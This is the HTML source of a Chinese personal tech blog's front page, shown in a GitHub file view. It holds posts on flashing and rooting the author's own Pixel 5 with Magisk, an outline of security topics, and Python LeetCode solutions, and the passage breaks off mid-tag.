-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.html
1085 lines (766 loc) · 524 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=2">
<meta name="theme-color" content="#222">
<meta name="generator" content="Hexo 6.1.0">
<link rel="apple-touch-icon" sizes="180x180" href="/images/apple-touch-icon-next.png">
<link rel="icon" type="image/png" sizes="32x32" href="/images/favicon-32x32-next.png">
<link rel="icon" type="image/png" sizes="16x16" href="/images/favicon-16x16-next.png">
<link rel="mask-icon" href="/images/logo.svg" color="#222">
<link rel="stylesheet" href="/css/main.css">
<link rel="stylesheet" href="/lib/font-awesome/css/all.min.css">
<script id="hexo-configurations">
var NexT = window.NexT || {};
var CONFIG = {"hostname":"example.com","root":"/","scheme":"Gemini","version":"7.8.0","exturl":false,"sidebar":{"position":"left","display":"post","padding":18,"offset":12,"onmobile":false},"copycode":{"enable":true,"show_result":true,"style":"mac"},"back2top":{"enable":true,"sidebar":false,"scrollpercent":true},"bookmark":{"enable":false,"color":"#222","save":"auto"},"fancybox":false,"mediumzoom":false,"lazyload":false,"pangu":false,"comments":{"style":"tabs","active":null,"storage":true,"lazyload":false,"nav":null},"algolia":{"hits":{"per_page":10},"labels":{"input_placeholder":"Search for Posts","hits_empty":"We didn't find any results for the search: ${query}","hits_stats":"${hits} results found in ${time} ms"}},"localsearch":{"enable":true,"trigger":"auto","top_n_per_article":5,"unescape":false,"preload":false},"motion":{"enable":true,"async":false,"transition":{"post_block":"fadeIn","post_header":"slideDownIn","post_body":"slideDownIn","coll_header":"slideLeftIn","sidebar":"slideUpIn"}},"path":"search.xml"};
</script>
<meta name="description" content="ctfer, pwner, programmer">
<meta property="og:type" content="website">
<meta property="og:title" content="payoung's blog">
<meta property="og:url" content="http://example.com/index.html">
<meta property="og:site_name" content="payoung's blog">
<meta property="og:description" content="ctfer, pwner, programmer">
<meta property="og:locale" content="zh_CN">
<meta property="article:author" content="payoung">
<meta property="article:tag" content="pwn, reverse, IoT, linux, C/C++, python, assemble">
<meta name="twitter:card" content="summary">
<link rel="canonical" href="http://example.com/">
<script id="page-configurations">
// https://hexo.io/docs/variables.html
CONFIG.page = {
sidebar: "",
isHome : true,
isPost : false,
lang : 'zh-CN'
};
</script>
<title>payoung's blog</title>
<noscript>
<style>
.use-motion .brand,
.use-motion .menu-item,
.sidebar-inner,
.use-motion .post-block,
.use-motion .pagination,
.use-motion .comments,
.use-motion .post-header,
.use-motion .post-body,
.use-motion .collection-header { opacity: initial; }
.use-motion .site-title,
.use-motion .site-subtitle {
opacity: initial;
top: initial;
}
.use-motion .logo-line-before i { left: initial; }
.use-motion .logo-line-after i { right: initial; }
</style>
</noscript>
</head>
<body itemscope itemtype="http://schema.org/WebPage">
<div class="container use-motion">
<div class="headband"></div>
<header class="header" itemscope itemtype="http://schema.org/WPHeader">
<div class="header-inner"><div class="site-brand-container">
<div class="site-nav-toggle">
<div class="toggle" aria-label="切换导航栏">
<span class="toggle-line toggle-line-first"></span>
<span class="toggle-line toggle-line-middle"></span>
<span class="toggle-line toggle-line-last"></span>
</div>
</div>
<div class="site-meta">
<a href="/" class="brand" rel="start">
<span class="logo-line-before"><i></i></span>
<h1 class="site-title">payoung's blog</h1>
<span class="logo-line-after"><i></i></span>
</a>
<p class="site-subtitle" itemprop="description">talk is cheep</p>
</div>
<div class="site-nav-right">
<div class="toggle popup-trigger">
<i class="fa fa-search fa-fw fa-lg"></i>
</div>
</div>
</div>
<nav class="site-nav">
<ul id="menu" class="main-menu menu">
<li class="menu-item menu-item-home">
<a href="/" rel="section"><i class="fa fa-home fa-fw"></i>首页</a>
</li>
<li class="menu-item menu-item-tags">
<a href="/tags/" rel="section"><i class="tags fa-fw"></i>标签</a>
</li>
<li class="menu-item menu-item-categories">
<a href="/categories/" rel="section"><i class="th fa-fw"></i>分类</a>
</li>
<li class="menu-item menu-item-archives">
<a href="/archives/" rel="section"><i class="fa fa-archive fa-fw"></i>归档</a>
</li>
<li class="menu-item menu-item-search">
<a role="button" class="popup-trigger"><i class="fa fa-search fa-fw"></i>搜索
</a>
</li>
</ul>
</nav>
<div class="search-pop-overlay">
<div class="popup search-popup">
<div class="search-header">
<span class="search-icon">
<i class="fa fa-search"></i>
</span>
<div class="search-input-container">
<input autocomplete="off" autocapitalize="off"
placeholder="搜索..." spellcheck="false"
type="search" class="search-input">
</div>
<span class="popup-btn-close">
<i class="fa fa-times-circle"></i>
</span>
</div>
<div id="search-result">
<div id="no-result">
<i class="fa fa-spinner fa-pulse fa-5x fa-fw"></i>
</div>
</div>
</div>
</div>
</div>
</header>
<div class="back-to-top">
<i class="fa fa-arrow-up"></i>
<span>0%</span>
</div>
<div class="reading-progress-bar"></div>
<a href="https://github.com/HuangPayoung" class="github-corner" title="payoung github" aria-label="payoung github" rel="noopener" target="_blank"><svg width="80" height="80" viewBox="0 0 250 250" aria-hidden="true"><path d="M0,0 L115,115 L130,115 L142,142 L250,250 L250,0 Z"></path><path d="M128.3,109.0 C113.8,99.7 119.0,89.6 119.0,89.6 C122.0,82.7 120.5,78.6 120.5,78.6 C119.2,72.0 123.4,76.3 123.4,76.3 C127.3,80.9 125.5,87.3 125.5,87.3 C122.9,97.6 130.6,101.9 134.4,103.2" fill="currentColor" style="transform-origin: 130px 106px;" class="octo-arm"></path><path d="M115.0,115.0 C114.9,115.1 118.7,116.5 119.8,115.4 L133.7,101.6 C136.9,99.2 139.9,98.4 142.2,98.6 C133.8,88.0 127.5,74.4 143.8,58.0 C148.5,53.4 154.0,51.2 159.7,51.0 C160.3,49.4 163.2,43.6 171.4,40.1 C171.4,40.1 176.1,42.5 178.8,56.2 C183.1,58.6 187.2,61.8 190.9,65.4 C194.5,69.0 197.7,73.2 200.1,77.6 C213.8,80.2 216.3,84.9 216.3,84.9 C212.7,93.1 206.9,96.0 205.4,96.6 C205.1,102.4 203.0,107.8 198.3,112.5 C181.9,128.9 168.3,122.5 157.7,114.1 C157.9,116.9 156.7,120.9 152.7,124.9 L141.0,136.5 C139.8,137.7 141.6,141.9 141.8,141.8 Z" fill="currentColor" class="octo-body"></path></svg></a>
<main class="main">
<div class="main-inner">
<div class="content-wrap">
<div class="content index posts-expand">
<article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
<link itemprop="mainEntityOfPage" href="http://example.com/2023/11/15/android-pixel5-flash-and-root/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="payoung">
<meta itemprop="description" content="ctfer, pwner, programmer">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="payoung's blog">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2023/11/15/android-pixel5-flash-and-root/" class="post-title-link" itemprop="url">android_pixel5_flash_and_root</a>
</h2>
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建时间:2023-11-15 13:50:35 / 修改时间:14:35:45" itemprop="dateCreated datePublished" datetime="2023-11-15T13:50:35+08:00">2023-11-15</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-folder"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/android/" itemprop="url" rel="index"><span itemprop="name">android</span></a>
</span>
</span>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<p>实习期间用部门同事借的pixel3作为调试机器在折腾,离职后现在没设备了,最近双11爆大米买了台pixel5来当调试机,先刷机和拿root。<br><a target="_blank" rel="noopener" href="https://developers.google.com/android/images">谷歌官方镜像</a><br><a target="_blank" rel="noopener" href="https://zhuanlan.zhihu.com/p/598414059">刷机博客</a></p>
<h1 id="刷官方内核镜像"><a href="#刷官方内核镜像" class="headerlink" title="刷官方内核镜像"></a>刷官方内核镜像</h1><p>手机上的操作会专门说明,否则就在电脑上操作。</p>
<ol>
<li>手机上在设置当中进行系统更新,保证更新至最新版本(其实这一步可以看自己需求),然后去官方镜像网站找对应版本,按理来说其实应该也可以随便任意一版本。</li>
<li>PC上装android命令行工具,主要是adb和fastboot,windows要需要安装对应驱动,mac和linux不需要。</li>
<li><code>adb reboot bootloader</code>进入bootloader中,因为是新买的设备bl锁没解,需要多一步<code>fastboot flashing unlock</code>解锁,这里被坑了,一开始查的资料都是说<code>fastboot oem unlock</code>,去谷歌官方镜像网站那里才发现新版命令已经变了。</li>
<li>很奇怪的一点,解完bl锁手机跟恢复出厂了一样,之前push过去的东西还有装的app全没了,没办法手机上又需要重新安装一遍。</li>
<li>同样用adb进bootloader,然后用官方压缩包中<code>flash-all.sh</code>脚本刷机(可以看看脚本用了哪些命令)。</li>
<li>flash-all.sh执行出现报错,<code>fastboot: error: ANDROID_PRODUCT_OUT not set</code>,查了一下需要这个环境变量,自己设置一下,重新刷一遍即可。<br><img src="/2023/11/15/android-pixel5-flash-and-root/1.png" alt="缺某个环境变量"></li>
</ol>
<h1 id="刷magisk镜像拿root"><a href="#刷magisk镜像拿root" class="headerlink" title="刷magisk镜像拿root"></a>刷magisk镜像拿root</h1><ol>
<li>在手机上装magisk软件。</li>
<li>解压<code>image-redfin-up1a.231105.001.zip</code>,获取其中<code>boot.img</code>镜像,然后push到手机上。</li>
<li>在手机上用magisk给镜像打patch,然后拉回电脑。</li>
<li>和刷官方镜像类似,也是先进bootloader,但是这次只刷boot,<code>fastboot flash boot ./magisk_patched-26400_DIOwo.img</code>。<br><img src="/2023/11/15/android-pixel5-flash-and-root/2.png" alt="刷magisk镜像"></li>
<li>手机重启,然后进magisk确认一下,后续就可以用root了。<br><img src="/2023/11/15/android-pixel5-flash-and-root/3.png" alt="测试root"></li>
</ol>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
<article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
<link itemprop="mainEntityOfPage" href="http://example.com/2023/11/14/payoung-security-wiki/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="payoung">
<meta itemprop="description" content="ctfer, pwner, programmer">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="payoung's blog">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2023/11/14/payoung-security-wiki/" class="post-title-link" itemprop="url">payoung_security_wiki</a>
</h2>
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建时间:2023-11-14 22:57:29 / 修改时间:23:56:59" itemprop="dateCreated datePublished" datetime="2023-11-14T22:57:29+08:00">2023-11-14</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-folder"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/wiki/" itemprop="url" rel="index"><span itemprop="name">wiki</span></a>
</span>
</span>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<p>明年毕业即将到企业了,总感觉一直以来视野不够开阔,另外就是做东西过于零散,很多时候都不记得之前看过研究过的东西。<br>写博客的初心就是希望记录和整理自己学过的东西,另外就是用作分享,毕竟自己学习过程中也阅读了很多大佬的博客。<br>写这篇wiki是希望汇总目前我了解到的安全领域以及对应的技术研究,可能自己也会先专注于某一方向的深度,然后再慢慢往广度扩展。</p>
<h1 id="PC"><a href="#PC" class="headerlink" title="PC"></a>PC</h1><h2 id="Linux"><a href="#Linux" class="headerlink" title="Linux"></a>Linux</h2><h2 id="windows"><a href="#windows" class="headerlink" title="windows"></a>windows</h2><h2 id="macOS"><a href="#macOS" class="headerlink" title="macOS"></a>macOS</h2><h1 id="移动端"><a href="#移动端" class="headerlink" title="移动端"></a>移动端</h1><h2 id="android"><a href="#android" class="headerlink" title="android"></a>android</h2><h2 id="iOS"><a href="#iOS" class="headerlink" title="iOS"></a>iOS</h2><h1 id="IoT"><a href="#IoT" class="headerlink" title="IoT"></a>IoT</h1><h1 id="浏览器"><a href="#浏览器" class="headerlink" title="浏览器"></a>浏览器</h1><h1 id="web"><a href="#web" class="headerlink" title="web"></a>web</h1><h1 id="密码学"><a href="#密码学" class="headerlink" title="密码学"></a>密码学</h1><h1 id="协议"><a href="#协议" class="headerlink" title="协议"></a>协议</h1><h1 id="区块链"><a href="#区块链" class="headerlink" title="区块链"></a>区块链</h1><h1 id="CTF"><a href="#CTF" class="headerlink" title="CTF"></a>CTF</h1><h1 id="论文"><a href="#论文" class="headerlink" title="论文"></a>论文</h1><h2 id="学术界"><a href="#学术界" class="headerlink" title="学术界"></a>学术界</h2><h2 id="工业界"><a href="#工业界" class="headerlink" title="工业界"></a>工业界</h2><h1 id="AI安全"><a href="#AI安全" class="headerlink" title="AI安全"></a>AI安全</h1><h2 id="AI解决安全问题"><a href="#AI解决安全问题" class="headerlink" title="AI解决安全问题"></a>AI解决安全问题</h2><h2 id="AI模型的安全问题"><a href="#AI模型的安全问题" class="headerlink" title="AI模型的安全问题"></a>AI模型的安全问题</h2><h1 id="安全业务"><a href="#安全业务" class="headerlink" title="安全业务"></a>安全业务</h1><p>这部分其实我了解的很少,主要是在实习以及秋招面试过程中与安全团队前辈们交流了解的,更多像是互联网公司的业务上的安全需求,毕竟做安全很多时候还是依赖于具体业务场景的。</p>
<h2 id="云安全"><a href="#云安全" class="headerlink" title="云安全"></a>云安全</h2><h2 id="黑灰产对抗"><a href="#黑灰产对抗" class="headerlink" title="黑灰产对抗"></a>黑灰产对抗</h2><h2 id="游戏安全"><a href="#游戏安全" class="headerlink" title="游戏安全"></a>游戏安全</h2><p>暑期实习</p>
<h2 id="软件加固"><a href="#软件加固" class="headerlink" title="软件加固"></a>软件加固</h2><p>静态:加密 混淆<br>动态:反调</p>
<h2 id="红蓝军"><a href="#红蓝军" class="headerlink" title="红蓝军"></a>红蓝军</h2><h2 id="隐私保护"><a href="#隐私保护" class="headerlink" title="隐私保护"></a>隐私保护</h2><h2 id="法律法规"><a href="#法律法规" class="headerlink" title="法律法规"></a>法律法规</h2>
</div>
<footer class="post-footer">
<div class="post-eof"></div>
</footer>
</article>
<article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
<link itemprop="mainEntityOfPage" href="http://example.com/2023/01/17/leetcode/">
<span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
<meta itemprop="image" content="/images/avatar.gif">
<meta itemprop="name" content="payoung">
<meta itemprop="description" content="ctfer, pwner, programmer">
</span>
<span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
<meta itemprop="name" content="payoung's blog">
</span>
<header class="post-header">
<h2 class="post-title" itemprop="name headline">
<a href="/2023/01/17/leetcode/" class="post-title-link" itemprop="url">leetcode</a>
</h2>
<div class="post-meta">
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar"></i>
</span>
<span class="post-meta-item-text">发表于</span>
<time title="创建时间:2023-01-17 16:44:57" itemprop="dateCreated datePublished" datetime="2023-01-17T16:44:57+08:00">2023-01-17</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-calendar-check"></i>
</span>
<span class="post-meta-item-text">更新于</span>
<time title="修改时间:2023-03-19 21:10:28" itemprop="dateModified" datetime="2023-03-19T21:10:28+08:00">2023-03-19</time>
</span>
<span class="post-meta-item">
<span class="post-meta-item-icon">
<i class="far fa-folder"></i>
</span>
<span class="post-meta-item-text">分类于</span>
<span itemprop="about" itemscope itemtype="http://schema.org/Thing">
<a href="/categories/programming/" itemprop="url" rel="index"><span itemprop="name">programming</span></a>
</span>
</span>
</div>
</header>
<div class="post-body" itemprop="articleBody">
<p>要找工作了开始练习做算法题</p>
<h2 id="normal"><a href="#normal" class="headerlink" title="normal"></a>normal</h2><h3 id="1-两数之和"><a href="#1-两数之和" class="headerlink" title="1. 两数之和"></a>1. 两数之和</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def twoSum(self, nums: List[int], target: int) -> List[int]:</span><br><span class="line"> hashtable = dict()</span><br><span class="line"> for i, num in enumerate(nums):</span><br><span class="line"> if target - num in hashtable:</span><br><span class="line"> return [i, hashtable[target - num]]</span><br><span class="line"> hashtable[num] = i</span><br><span class="line"> return []</span><br></pre></td></tr></table></figure>
<h3 id="2-两数相加"><a href="#2-两数相加" class="headerlink" title="2. 两数相加"></a>2. 两数相加</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line"># Definition for singly-linked list.</span><br><span class="line"># class ListNode:</span><br><span class="line"># def __init__(self, val=0, next=None):</span><br><span class="line"># self.val = val</span><br><span class="line"># self.next = next</span><br><span class="line">class Solution:</span><br><span class="line"> def addTwoNumbers(self, l1: Optional[ListNode], l2: Optional[ListNode]) -> Optional[ListNode]:</span><br><span class="line"> head = cur = ListNode(0)</span><br><span class="line"> overflow = 0</span><br><span class="line"> while l1 and l2:</span><br><span class="line"> if overflow + l1.val + l2.val > 9:</span><br><span class="line"> cur.next = ListNode((overflow + l1.val + l2.val) % 10)</span><br><span class="line"> overflow = 1</span><br><span class="line"> else:</span><br><span class="line"> cur.next = ListNode(overflow + l1.val + l2.val)</span><br><span class="line"> overflow = 0</span><br><span class="line"> cur = cur.next</span><br><span class="line"> l1 = l1.next</span><br><span class="line"> l2 = l2.next</span><br><span class="line"> if l1:</span><br><span class="line"> while l1:</span><br><span class="line"> if overflow + l1.val > 9:</span><br><span class="line"> cur.next = ListNode((overflow + l1.val) % 10)</span><br><span class="line"> overflow = 1</span><br><span class="line"> else:</span><br><span class="line"> cur.next = ListNode(overflow + l1.val)</span><br><span class="line"> overflow = 0</span><br><span class="line"> cur = cur.next</span><br><span class="line"> l1 = l1.next</span><br><span class="line"> elif l2:</span><br><span class="line"> while l2:</span><br><span class="line"> if overflow + l2.val > 9:</span><br><span class="line"> cur.next = ListNode((overflow + l2.val) % 10)</span><br><span class="line"> overflow = 1</span><br><span class="line"> else:</span><br><span class="line"> cur.next = ListNode(overflow + l2.val)</span><br><span class="line"> overflow = 0</span><br><span class="line"> cur = cur.next</span><br><span class="line"> l2 = l2.next</span><br><span class="line"> if overflow:</span><br><span class="line"> cur.next = ListNode(1)</span><br><span class="line"> return head.next</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="3-无重复字符的最长子串"><a href="#3-无重复字符的最长子串" class="headerlink" title="3. 无重复字符的最长子串"></a>3. 无重复字符的最长子串</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def lengthOfLongestSubstring(self, s: str) -> int:</span><br><span class="line"> result = 0</span><br><span class="line"> string_set = set()</span><br><span class="line"> right, string_len = 0, len(s)</span><br><span class="line"> for left in range(string_len):</span><br><span class="line"> if left:</span><br><span class="line"> string_set.remove(s[left - 1])</span><br><span class="line"> while right < string_len and s[right] not in string_set:</span><br><span class="line"> string_set.add(s[right])</span><br><span class="line"> right += 1</span><br><span class="line"> result = max(result, right - left)</span><br><span class="line"> return result</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<h3 id="8-字符串转换整数-atoi"><a href="#8-字符串转换整数-atoi" class="headerlink" title="8. 字符串转换整数 (atoi)"></a>8. 字符串转换整数 (atoi)</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def myAtoi(self, s: str) -> int:</span><br><span class="line"> result, idx, n = 0, 0, len(s)</span><br><span class="line"> while idx < n and s[idx] == ' ':</span><br><span class="line"> idx += 1</span><br><span class="line"> if idx == n:</span><br><span class="line"> return result</span><br><span class="line"> flag = 0</span><br><span class="line"> if s[idx] == '+':</span><br><span class="line"> idx += 1</span><br><span class="line"> elif s[idx] == '-':</span><br><span class="line"> flag = 1</span><br><span class="line"> idx += 1</span><br><span class="line"> while idx < n and '0' <= s[idx] <= '9':</span><br><span class="line"> result *= 10</span><br><span class="line"> result += ord(s[idx]) - 48</span><br><span class="line"> idx += 1</span><br><span class="line"> if flag:</span><br><span class="line"> result = -result</span><br><span class="line"> result = min(result, (1 << 31) - 1)</span><br><span class="line"> result = max(result, - (1 << 31))</span><br><span class="line"> return result</span><br></pre></td></tr></table></figure>
<h3 id="10-正则表达式匹配"><a href="#10-正则表达式匹配" class="headerlink" title="10. 正则表达式匹配"></a>10. 正则表达式匹配</h3><p>dp, time: O(mn), space: O(mn)<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">class Solution:</span><br><span class="line"> def isMatch(self, s: str, p: str) -> bool:</span><br><span class="line"> m, n = len(s) + 1, len(p) + 1</span><br><span class="line"> dp = [[False] * n for _ in range(m)]</span><br><span class="line"> dp[0][0] = True</span><br><span class="line"> for i in range(2, n, 2):</span><br><span class="line"> dp[0][i] = dp[0][i - 2] and p[i - 1] == '*'</span><br><span class="line"> for i in range(1, m):</span><br><span class="line"> for j in range(1, n):</span><br><span class="line"> if p[j - 1] == '*':</span><br><span class="line"> dp[i][j] = dp[i][j - 2] or (p[j - 2] == s[i - 1] and dp[i - 1][j]) or (p[j - 2] == '.' and dp[i - 1][j])</span><br><span class="line"> else:</span><br><span class="line"> dp[i][j] = (p[j - 1] == '.' and dp[i - 1][j - 1]) or (p[j - 1] == s[i - 1] and dp[i - 1][j - 1])</span><br><span class="line"> return dp[-1][-1]</span><br><span class="line"></span><br></pre></td></tr></table></figure></p>
<h3 id="21-合并两个有序链表"><a href="#21-合并两个有序链表" class="headerlink" title="21. 合并两个有序链表"></a>21. 合并两个有序链表</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"># Definition for singly-linked list.</span><br><span class="line"># class ListNode:</span><br><span class="line"># def __init__(self, val=0, next=None):</span><br><span class="line"># self.val = val</span><br><span class="line"># self.next = next</span><br><span class="line">class Solution:</span><br><span class="line"> def mergeTwoLists(self, l1: Optional[ListNode], l2: Optional[ListNode]) -> Optional[ListNode]:</span><br><span class="line"> new_head = ListNode(0)</span><br><span class="line"> tmp = new_head</span><br><span class="line"> while l1 and l2:</span><br><span class="line"> if l1.val <= l2.val:</span><br><span class="line"> tmp.next = l1</span><br><span class="line"> l1 = l1.next</span><br><span class="line"> else:</span><br><span class="line"> tmp.next = l2</span><br><span class="line"> l2 = l2.next</span><br><span class="line"> tmp = tmp.next</span><br><span class="line"> if l1:</span><br><span class="line"> tmp.next = l1</span><br><span class="line"> else:</span><br><span class="line"> tmp.next = l2</span><br><span class="line"> return new_head.next</span><br><span 